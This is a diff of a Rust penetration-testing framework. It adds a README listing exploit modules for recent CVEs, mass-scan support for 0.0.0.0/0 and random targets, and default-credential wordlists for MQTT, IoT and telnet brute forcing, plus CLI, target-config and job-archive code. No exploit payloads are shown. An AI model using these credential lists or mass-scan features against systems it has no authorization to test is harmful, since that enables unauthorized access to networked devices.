- **Termix**: CVE-2026-22804 (Stored XSS)
|
||||
- **FortiCloud SSO**: CVE-2026-24858 (Auth Bypass)
|
||||
- **Ruijie Series**: 7 new modules covering RCE, Auth Bypass, and SSRF
|
||||
|
||||
- **Framework Core Enhancements**:
|
||||
- **Mass Scan Standardization**: All mass-scan capable modules now accept `0.0.0.0`, `0.0.0.0/0`, or `random` targets and offer consistent private range exclusion prompts.
|
||||
- **Stability**: Removed all `unwrap()` and `unwrap_or_default()` calls from critical paths for crash-free operation.
|
||||
- **Architecture**: Fixed design flaws in API worker threading (moved to `spawn_blocking`) and consolidated validation logic.
|
||||
|
||||
---
|
||||
|
||||
@@ -215,9 +432,22 @@ Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
|
||||
|
||||
`src/utils.rs` provides:
|
||||
|
||||
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
|
||||
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
|
||||
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
|
||||
- **`normalize_target`**: Comprehensive target normalization supporting:
|
||||
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
|
||||
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
|
||||
- Hostnames: `example.com`, `example.com:443`
|
||||
- URLs: `http://example.com:8080` (extracts host:port)
|
||||
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
|
||||
|
||||
Includes comprehensive validation (DoS prevention, path traversal protection, format validation).
|
||||
|
||||
- **`extract_ip_from_target`**: Extracts IP address or hostname from normalized target strings, handling ports, brackets, and CIDR notation.
|
||||
|
||||
- **`basic_honeypot_check`**: Framework-level honeypot detection that scans 200 common ports. If 11+ ports are open, warns that the target is likely a honeypot. This runs automatically before module execution when a target is set.
|
||||
|
||||
- **`module_exists` / `list_all_modules` / `find_modules`**: Used by shell to present module inventory.
|
||||
|
||||
|
||||
|
||||
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
|
||||
|
||||
@@ -230,7 +460,7 @@ Feel free to expand this file with reusable pieces (e.g., credential loader, HTT
|
||||
3. **Runtime smoke tests:**
|
||||
- Shell: `cargo run` → `modules` → run a harmless module (e.g., `scanners/sample_scanner`).
|
||||
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
|
||||
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
|
||||
|
||||
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
|
||||
|
||||
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
|
||||
@@ -250,4 +480,4 @@ Contributions are welcome—open an issue or start a discussion before large ref
|
||||
|
||||
---
|
||||
|
||||
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
|
||||
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !***
|
||||
|
||||
@@ -44,23 +44,6 @@ Here is the original module that needs to be refactored:
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Strict Requirements:
|
||||
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
public
|
||||
guest
|
||||
sysadmin
|
||||
hivemq
|
||||
emonpimqtt2016
|
||||
mosquitto
|
||||
mqttpassword
|
||||
password
|
||||
[auto-generated]
|
||||
[empty]
|
||||
[printed on PLC]
|
||||
password
|
||||
password
|
||||
password
|
||||
bitnami
|
||||
@@ -0,0 +1,15 @@
|
||||
admin
|
||||
guest
|
||||
sysadmin@thingsboard.org
|
||||
admin
|
||||
emonpi
|
||||
mosquitto
|
||||
mqttuser
|
||||
admin
|
||||
homeassistant
|
||||
DVES_USER
|
||||
admin
|
||||
roger
|
||||
sub_client
|
||||
pub_client
|
||||
user
|
||||
+19
-4
@@ -6,10 +6,14 @@ This directory contains reference lists and helper payloads consumed by modules
|
||||
|
||||
## Available Files
|
||||
|
||||
| File | Used By | Description |
|
||||
|------|---------|-------------|
|
||||
| File / Directory | Used By | Description |
|
||||
|------------------|---------|-------------|
|
||||
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
|
||||
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables “advanced headers,” the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
|
||||
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
|
||||
| `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. |
|
||||
| `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). |
|
||||
| `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. |
|
||||
| `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. |
|
||||
|
||||
---
|
||||
|
||||
@@ -29,5 +33,16 @@ This directory contains reference lists and helper payloads consumed by modules
|
||||
- `telnet-banners.txt` to fingerprint devices before brute forcing
|
||||
- `http-admin-panels.txt` for web interface discovery scanners
|
||||
- Vendor-specific RTSP or ONVIF endpoint lists
|
||||
- `snmp-community-strings.txt` for SNMP brute forcing
|
||||
- `fortinet-users.txt` for Fortinet SSL VPN testing
|
||||
- `ssh-default-creds.txt` for common SSH credentials
|
||||
|
||||
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
|
||||
## Security Notes
|
||||
|
||||
When contributing wordlists:
|
||||
- **No malicious payloads:** Lists should contain credentials/paths only, not exploit code
|
||||
- **Respect file size limits:** Keep lists under 10MB (framework limit for file reading)
|
||||
- **UTF-8 encoding:** Use UTF-8 text encoding for all files
|
||||
- **Line format:** One entry per line, use `#` or `//` for comments
|
||||
|
||||
Pull requests welcome—please include both the data file and an entry here.
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
password
|
||||
123456
|
||||
1234
|
||||
root
|
||||
toor
|
||||
guest
|
||||
default
|
||||
admin123
|
||||
adminadmin
|
||||
pass
|
||||
changeme
|
||||
password1
|
||||
cisco
|
||||
ubnt
|
||||
support
|
||||
12345
|
||||
qwerty
|
||||
letmein
|
||||
test
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
root
|
||||
user
|
||||
administrator
|
||||
guest
|
||||
support
|
||||
operator
|
||||
supervisor
|
||||
admin1
|
||||
root1
|
||||
manager
|
||||
service
|
||||
master
|
||||
tech
|
||||
sysadmin
|
||||
default
|
||||
cisco
|
||||
ubnt
|
||||
pi
|
||||
test
|
||||
BIN
Binary file not shown.
|
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 435 KiB |
+1121
-160
File diff suppressed because it is too large
Load Diff
+46
-5
@@ -6,7 +6,7 @@ use clap::{ArgGroup, Parser};
|
||||
#[clap(group(
|
||||
ArgGroup::new("mode")
|
||||
.required(false)
|
||||
.args(&["command", "api"])
|
||||
.args(&["command", "api", "setup_totp"])
|
||||
))]
|
||||
pub struct Cli {
|
||||
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
|
||||
@@ -28,15 +28,56 @@ pub struct Cli {
|
||||
#[arg(long, requires = "api")]
|
||||
pub api_key: Option<String>,
|
||||
|
||||
/// Enable hardening mode (auto-rotate API key on suspicious activity)
|
||||
/// Enable all hardening features (TOTP + rate limit + IP tracking)
|
||||
#[arg(long, requires = "api")]
|
||||
pub harden: bool,
|
||||
|
||||
/// Network interface to bind API server to (default: 0.0.0.0)
|
||||
#[arg(long, requires = "api", default_value = "0.0.0.0")]
|
||||
/// Enable TOTP authentication for API (requires --api)
|
||||
#[arg(long, requires = "api")]
|
||||
pub harden_totp: bool,
|
||||
|
||||
/// Enable rate limiting for API (requires --api)
|
||||
#[arg(long, requires = "api")]
|
||||
pub harden_rate_limit: bool,
|
||||
|
||||
/// Enable IP tracking for API (requires --api)
|
||||
#[arg(long, requires = "api")]
|
||||
pub harden_ip_tracking: bool,
|
||||
|
||||
/// Network interface to bind API server to (default: 127.0.0.1 for security)
|
||||
#[arg(long, requires = "api", default_value = "127.0.0.1")]
|
||||
pub interface: Option<String>,
|
||||
|
||||
/// IP limit for hardening mode (default: 10 unique IPs)
|
||||
#[arg(long, requires = "harden", default_value = "10")]
|
||||
#[arg(long, default_value = "10")]
|
||||
pub ip_limit: Option<u32>,
|
||||
|
||||
/// Set global target IP/subnet for all modules
|
||||
#[arg(long)]
|
||||
pub set_target: Option<String>,
|
||||
|
||||
/// Enable verbose output (shows detailed operation logs)
|
||||
#[arg(short, long)]
|
||||
pub verbose: bool,
|
||||
|
||||
/// List all available modules and exit
|
||||
#[arg(long)]
|
||||
pub list_modules: bool,
|
||||
|
||||
/// Output format (text, json)
|
||||
#[arg(long, default_value = "text")]
|
||||
pub output_format: Option<String>,
|
||||
|
||||
/// API job queue size (default: 100)
|
||||
#[arg(long, default_value_t = 100)]
|
||||
pub queue_size: usize,
|
||||
|
||||
/// Number of worker threads for API jobs (default: 10)
|
||||
#[arg(long, default_value_t = 10)]
|
||||
pub workers: usize,
|
||||
|
||||
/// Set up TOTP authentication (interactive wizard)
|
||||
#[arg(long)]
|
||||
pub setup_totp: bool,
|
||||
}
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
@@ -2,6 +2,7 @@ use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
|
||||
|
||||
/// Re-export run function as `run_exploit` to match previous API usage in mod.rs
|
||||
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
+85
-39
@@ -4,15 +4,39 @@ pub mod creds;
|
||||
|
||||
use anyhow::Result;
|
||||
use crate::cli::Cli;
|
||||
use walkdir::WalkDir;
|
||||
use crate::config;
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
|
||||
/// CLI dispatcher
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
let raw = cli_args.target.clone().unwrap_or_default();
|
||||
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
// Target resolution logic...
|
||||
crate::utils::verbose_log(cli_args.verbose, "Handling CLI command...");
|
||||
|
||||
let raw = if let Some(ref t) = cli_args.target {
|
||||
t.clone()
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("[*] Using global target: {}", match config::GLOBAL_CONFIG.get_target() {
|
||||
Some(t) => t,
|
||||
None => String::new(),
|
||||
});
|
||||
ip
|
||||
}
|
||||
Err(e) => return Err(anyhow::anyhow!("No target specified and global target error: {}", e)),
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
|
||||
};
|
||||
|
||||
let target = normalize_target(&raw)?;
|
||||
crate::utils::verbose_log(cli_args.verbose, &format!("Normalized target: {}", target));
|
||||
|
||||
let module = match cli_args.module.clone() {
|
||||
Some(m) => m,
|
||||
None => String::new(),
|
||||
};
|
||||
|
||||
match command {
|
||||
"exploit" => {
|
||||
let trimmed = module.trim_start_matches("exploits/");
|
||||
@@ -26,38 +50,75 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
let trimmed = module.trim_start_matches("creds/");
|
||||
creds::run_cred_check(trimmed, &target).await?;
|
||||
},
|
||||
_ => {
|
||||
eprintln!("Unknown command '{}'", command);
|
||||
}
|
||||
_ => eprintln!("Unknown command '{}'", command),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Interactive shell: handles `run` with raw target string
|
||||
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
let available = discover_modules();
|
||||
/// Interactive module runner
|
||||
pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> Result<()> {
|
||||
crate::utils::verbose_log(verbose, &format!("Attempting to run module '{}' against '{}'", module_path, raw_target));
|
||||
|
||||
// 1. Resolve module using compile-time list
|
||||
let available = discover_modules();
|
||||
|
||||
// Fuzzy matching logic
|
||||
let full_match = available.iter().find(|m| m == &module_path);
|
||||
let short_match = available.iter().find(|m| {
|
||||
m.rsplit_once('/')
|
||||
.map(|(_, short)| short == module_path)
|
||||
.unwrap_or(false)
|
||||
m.rsplit_once('/').map(|(_, short)| short == module_path).unwrap_or(false)
|
||||
});
|
||||
|
||||
if let Some(m) = full_match {
|
||||
crate::utils::verbose_log(verbose, &format!("Exact module match found: {}", m));
|
||||
} else if let Some(m) = short_match {
|
||||
crate::utils::verbose_log(verbose, &format!("Short module match found: {}", m));
|
||||
}
|
||||
|
||||
let resolved = if let Some(m) = full_match {
|
||||
m
|
||||
} else if let Some(m) = short_match {
|
||||
m
|
||||
} else {
|
||||
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
|
||||
for m in available {
|
||||
println!(" {}", m);
|
||||
use colored::*;
|
||||
eprintln!("{}", format!("❌ Unknown module '{}'.", module_path).red());
|
||||
|
||||
// Fuzzy matching
|
||||
let best_match = available.iter()
|
||||
.map(|m| (m, strsim::levenshtein(module_path, m)))
|
||||
.min_by_key(|&(_, dist)| dist);
|
||||
|
||||
if let Some((suggestion, dist)) = best_match {
|
||||
if dist < 5 { // Threshold for suggestions
|
||||
eprintln!("{}", format!(" Did you mean: {}?", suggestion).yellow());
|
||||
}
|
||||
}
|
||||
return Ok(());
|
||||
|
||||
return Err(anyhow::anyhow!("Module not found"));
|
||||
};
|
||||
|
||||
let target = normalize_target(raw_target)?;
|
||||
// 2. Resolve target
|
||||
let target_str = if raw_target.is_empty() {
|
||||
if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("[*] Using global target: {}", match config::GLOBAL_CONFIG.get_target() {
|
||||
Some(t) => t,
|
||||
None => String::new(),
|
||||
});
|
||||
ip
|
||||
}
|
||||
Err(e) => return Err(anyhow::anyhow!("Global target error: {}", e)),
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified."));
|
||||
}
|
||||
} else {
|
||||
raw_target.to_string()
|
||||
};
|
||||
|
||||
let target = normalize_target(&target_str)?;
|
||||
crate::utils::verbose_log(verbose, &format!("Target resolved to: {}", target));
|
||||
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
@@ -73,29 +134,14 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
|
||||
/// Helper to aggregate all available modules from generated constants
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
let categories = ["exploits", "scanners", "creds"];
|
||||
|
||||
for category in &categories {
|
||||
let base = format!("src/modules/{}", category);
|
||||
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
|
||||
let p = entry.path();
|
||||
if p.is_file()
|
||||
&& p.extension().map_or(false, |e| e == "rs")
|
||||
&& p.file_name().map_or(true, |n| n != "mod.rs")
|
||||
{
|
||||
if let Ok(rel) = p.strip_prefix("src/modules") {
|
||||
let module_path = rel
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace("\\", "/");
|
||||
modules.push(module_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// Map exploit::AVAILABLE_MODULES -> "exploits/{name}"
|
||||
modules.extend(exploit::AVAILABLE_MODULES.iter().map(|m| format!("exploits/{}", m)));
|
||||
modules.extend(scanner::AVAILABLE_MODULES.iter().map(|m| format!("scanners/{}", m)));
|
||||
modules.extend(creds::AVAILABLE_MODULES.iter().map(|m| format!("creds/{}", m)));
|
||||
|
||||
modules
|
||||
}
|
||||
|
||||
@@ -2,7 +2,7 @@ use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Write};
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
|
||||
+285
@@ -0,0 +1,285 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::sync::{Arc, RwLock};
|
||||
use ipnetwork::IpNetwork;
|
||||
use regex::Regex;
|
||||
|
||||
/// Maximum length for target strings
|
||||
const MAX_TARGET_LENGTH: usize = 2048;
|
||||
|
||||
/// Maximum length for hostname
|
||||
const MAX_HOSTNAME_LENGTH: usize = 253;
|
||||
|
||||
/// Global configuration for the framework
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct GlobalConfig {
|
||||
/// Global target - can be a single IP or CIDR subnet
|
||||
target: Arc<RwLock<Option<TargetConfig>>>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub enum TargetConfig {
|
||||
/// Single IP address or hostname
|
||||
Single(String),
|
||||
/// CIDR subnet (e.g., "192.168.1.0/24")
|
||||
Subnet(IpNetwork),
|
||||
}
|
||||
|
||||
impl GlobalConfig {
|
||||
/// Create a new global configuration
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
target: Arc::new(RwLock::new(None)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Set the global target (IP, hostname, or CIDR subnet)
|
||||
pub fn set_target(&self, target: &str) -> Result<()> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
// Basic validation
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
// Length check
|
||||
if trimmed.len() > MAX_TARGET_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Target too long (max {} characters)",
|
||||
MAX_TARGET_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for control characters
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Target cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
if trimmed.contains("..") || trimmed.contains("//") {
|
||||
return Err(anyhow!("Target contains invalid characters (path traversal)"));
|
||||
}
|
||||
|
||||
// Try to parse as CIDR subnet first
|
||||
if let Ok(network) = trimmed.parse::<IpNetwork>() {
|
||||
// No size limit enforced here - user can set 0.0.0.0/0 if they want.
|
||||
// Consumers (looping logic) must handle large subnets responsibly (e.g. via iterators).
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Subnet(network));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Validate hostname/IP format
|
||||
Self::validate_hostname_or_ip(trimmed)?;
|
||||
|
||||
// Otherwise, treat as single IP or hostname
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Validates a hostname or IP address format
|
||||
fn validate_hostname_or_ip(target: &str) -> Result<()> {
|
||||
// Length check for hostname
|
||||
if target.len() > MAX_HOSTNAME_LENGTH {
|
||||
return Err(anyhow!(
|
||||
"Hostname too long (max {} characters)",
|
||||
MAX_HOSTNAME_LENGTH
|
||||
));
|
||||
}
|
||||
|
||||
// Check for valid characters
|
||||
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("Regex compilation failed");
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!(
|
||||
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
|
||||
));
|
||||
}
|
||||
|
||||
// Check for spaces
|
||||
if target.contains(' ') {
|
||||
return Err(anyhow!("Target cannot contain spaces"));
|
||||
}
|
||||
|
||||
// Basic hostname format check (not starting/ending with special chars)
|
||||
if target.starts_with('.') || target.starts_with('-') {
|
||||
return Err(anyhow!("Target cannot start with '.' or '-'"));
|
||||
}
|
||||
|
||||
if target.ends_with('.') && !target.ends_with("..") {
|
||||
// Allow trailing dot for FQDN, but not double dots
|
||||
}
|
||||
|
||||
// Check for consecutive dots (invalid in hostnames)
|
||||
if target.contains("..") {
|
||||
return Err(anyhow!("Target cannot contain consecutive dots"));
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Get the global target as a single string (for display)
|
||||
pub fn get_target(&self) -> Option<String> {
|
||||
let guard = self.target.read().ok()?;
|
||||
guard.as_ref().map(|t| match t {
|
||||
TargetConfig::Single(ip) => ip.clone(),
|
||||
TargetConfig::Subnet(net) => net.to_string(),
|
||||
})
|
||||
}
|
||||
|
||||
/// Get a single IP address from the global target
|
||||
/// For subnets, returns the network address (first IP)
|
||||
pub fn get_single_target_ip(&self) -> Result<String> {
|
||||
let guard = self.target.read().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
|
||||
match guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
Ok(ip.clone())
|
||||
}
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Return the network address (first IP in the subnet)
|
||||
Ok(net.network().to_string())
|
||||
}
|
||||
None => Err(anyhow!("No global target set")),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Check if global target is set
|
||||
pub fn has_target(&self) -> bool {
|
||||
self.target.read().map(|g| g.is_some()).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Check if global target is a subnet
|
||||
pub fn is_subnet(&self) -> bool {
|
||||
self.target.read().map(|g| matches!(g.as_ref(), Some(TargetConfig::Subnet(_)))).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Get the target subnet if set
|
||||
pub fn get_target_subnet(&self) -> Option<IpNetwork> {
|
||||
let guard = self.target.read().ok()?;
|
||||
match guard.as_ref() {
|
||||
Some(TargetConfig::Subnet(net)) => Some(*net),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the size of the target (number of IPs)
|
||||
/// For single IPs, returns 1
|
||||
/// For subnets, returns the subnet size without expanding
|
||||
pub fn get_target_size(&self) -> Option<u64> {
|
||||
let target_guard = self.target.read().ok()?;
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(_)) => Some(1),
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Calculate size from prefix length
|
||||
let size = match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
1u64
|
||||
} else {
|
||||
2u64.pow(32 - prefix)
|
||||
}
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 {
|
||||
u64::MAX
|
||||
} else {
|
||||
2u64.pow(exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
Some(size)
|
||||
}
|
||||
None => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Clear the global target
|
||||
pub fn clear_target(&self) {
|
||||
if let Ok(mut target_guard) = self.target.write() {
|
||||
*target_guard = None;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Global configuration instance
|
||||
use once_cell::sync::Lazy;
|
||||
|
||||
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
|
||||
|
||||
/// Module-level configuration for API-driven execution
|
||||
/// This is set by the API before running a module and read by modules
|
||||
/// to get pre-configured values instead of prompting the user
|
||||
#[derive(Clone, Debug, Default)]
|
||||
pub struct ModuleConfig {
|
||||
pub port: Option<u16>,
|
||||
pub username_wordlist: Option<String>,
|
||||
pub password_wordlist: Option<String>,
|
||||
pub path_wordlist: Option<String>,
|
||||
pub concurrency: Option<usize>,
|
||||
pub stop_on_success: Option<bool>,
|
||||
pub save_results: Option<bool>,
|
||||
pub output_file: Option<String>,
|
||||
pub verbose: Option<bool>,
|
||||
pub combo_mode: Option<bool>,
|
||||
}
|
||||
|
||||
impl ModuleConfig {
|
||||
pub fn new() -> Self {
|
||||
Self::default()
|
||||
}
|
||||
|
||||
/// Check if running in API mode (any config option is set)
|
||||
pub fn is_api_mode(&self) -> bool {
|
||||
self.port.is_some() ||
|
||||
self.username_wordlist.is_some() ||
|
||||
self.password_wordlist.is_some() ||
|
||||
self.path_wordlist.is_some() ||
|
||||
self.concurrency.is_some() ||
|
||||
self.stop_on_success.is_some() ||
|
||||
self.save_results.is_some() ||
|
||||
self.output_file.is_some() ||
|
||||
self.verbose.is_some() ||
|
||||
self.combo_mode.is_some()
|
||||
}
|
||||
|
||||
/// Clear all settings
|
||||
pub fn clear(&mut self) {
|
||||
*self = Self::default();
|
||||
}
|
||||
}
|
||||
|
||||
/// Global module config instance (API-provided configuration)
|
||||
pub static MODULE_CONFIG: Lazy<Arc<RwLock<ModuleConfig>>> = Lazy::new(|| {
|
||||
Arc::new(RwLock::new(ModuleConfig::new()))
|
||||
});
|
||||
|
||||
/// Set module config from API request
|
||||
pub fn set_module_config(config: ModuleConfig) {
|
||||
if let Ok(mut guard) = MODULE_CONFIG.write() {
|
||||
*guard = config;
|
||||
}
|
||||
}
|
||||
|
||||
/// Get a clone of the current module config
|
||||
pub fn get_module_config() -> ModuleConfig {
|
||||
MODULE_CONFIG.read()
|
||||
.map(|g| g.clone())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// Clear module config (should be called after module execution)
|
||||
pub fn clear_module_config() {
|
||||
if let Ok(mut guard) = MODULE_CONFIG.write() {
|
||||
guard.clear();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,352 @@
|
||||
// src/job_archive.rs
|
||||
//
|
||||
// Immutable job output archival system
|
||||
// - In-memory circular buffer for recent jobs
|
||||
// - Automatic archival to compressed tar.gz files
|
||||
// - SHA256 checksums for integrity
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use chrono::{DateTime, Utc};
|
||||
use flate2::write::GzEncoder;
|
||||
use flate2::Compression;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use sha2::{Digest, Sha256};
|
||||
use std::collections::VecDeque;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Read, Write};
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Arc;
|
||||
use tokio::sync::RwLock;
|
||||
|
||||
/// Maximum output size per job (1MB) - reduced from 10MB for DoS protection
|
||||
pub const MAX_OUTPUT_SIZE: usize = 1 * 1024 * 1024;
|
||||
|
||||
/// Maximum jobs in memory before archiving - reduced from 100 for DoS protection
|
||||
const MAX_MEMORY_JOBS: usize = 20;
|
||||
|
||||
/// Maximum total archive size (1GB) before cleanup
|
||||
const MAX_ARCHIVE_SIZE_BYTES: u64 = 1024 * 1024 * 1024;
|
||||
|
||||
/// A single job result
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct JobResult {
|
||||
/// Unique job identifier
|
||||
pub id: String,
|
||||
/// Module that was executed
|
||||
pub module: String,
|
||||
/// Target that was scanned/exploited
|
||||
pub target: String,
|
||||
/// Captured output (stdout + stderr)
|
||||
pub output: String,
|
||||
/// Whether output was truncated
|
||||
pub truncated: bool,
|
||||
/// Job status
|
||||
pub status: JobStatus,
|
||||
/// When the job started
|
||||
pub started_at: DateTime<Utc>,
|
||||
/// When the job completed
|
||||
pub completed_at: Option<DateTime<Utc>>,
|
||||
/// Duration in milliseconds
|
||||
pub duration_ms: Option<u64>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)]
|
||||
pub enum JobStatus {
|
||||
Running,
|
||||
Completed,
|
||||
Failed,
|
||||
Timeout,
|
||||
}
|
||||
|
||||
/// Thread-safe job storage with automatic archival
|
||||
#[derive(Clone, Debug)] // Added Debug here
|
||||
pub struct JobArchive {
|
||||
/// In-memory job storage
|
||||
jobs: Arc<RwLock<VecDeque<JobResult>>>,
|
||||
/// Archive directory
|
||||
archive_dir: PathBuf,
|
||||
}
|
||||
|
||||
impl JobArchive {
|
||||
/// Create a new job archive
|
||||
pub fn new() -> Result<Self> {
|
||||
let home = home::home_dir()
|
||||
.ok_or_else(|| anyhow!("Cannot determine home directory"))?;
|
||||
